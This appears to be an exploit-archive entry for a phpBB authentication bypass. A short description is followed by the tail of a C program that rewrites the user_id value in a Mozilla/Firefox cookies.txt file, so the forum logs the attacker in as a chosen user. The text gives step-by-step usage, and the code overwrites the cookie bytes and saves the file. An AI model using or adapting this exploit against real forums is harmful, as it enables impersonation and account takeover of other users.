This exploit modifies the UID field in the cookies.txt file of Mozilla's browsers in such a way that when the browser will try to access the phpBB forum it will be granted access with the user_id provided rather than the original one..
Description: this exploit modify the user id that is in your cookies.txt (Firefox and Mozilla) file. You have to log in the forum, with the autologin option unchecked, then you close the navigator and execute the exploit. If you have any problem with the exploit, remove all cookies and do all again.
Note: you have to put the exploit in the same directory of cookies.txt. This exploit overwrite all phpbb cookies that have the user id specified.
I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS DISCOVERED IT.
if (pos=strstr(contenido, cookiec)) {
p=pos - contenido;
while (i<92) {
if (cookie_false[i]!=NULL)
contenido[p]=cookie_false[i];
p++;
i++;
}
}
else {
printf("The file cookies.txt isn't valid for execute the exploit or the user id is incorrect\n");
exit(0);
}
if (pointer=fopen("cookies.txt", "w")) {
fputs(contenido, pointer);
printf("Cookie modified: \n\n%s\n\n", contenido);
printf("The cookies file has overwriten... looks like the exploit has worked");
} else printf("\n\nThe file cookies.txt has not write permissions.");
return 0;
}